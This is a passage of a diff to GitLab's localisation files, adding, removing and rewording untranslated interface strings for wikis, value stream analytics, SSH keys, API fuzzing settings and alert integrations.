@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/eo/gitlab.po b/locale/eo/gitlab.po
index 0a25375eb47..3b0c6b7381e 100644
--- a/locale/eo/gitlab.po
+++ b/locale/eo/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: eo\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:50\n"
+"PO-Revision-Date: 2021-04-02 00:10\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
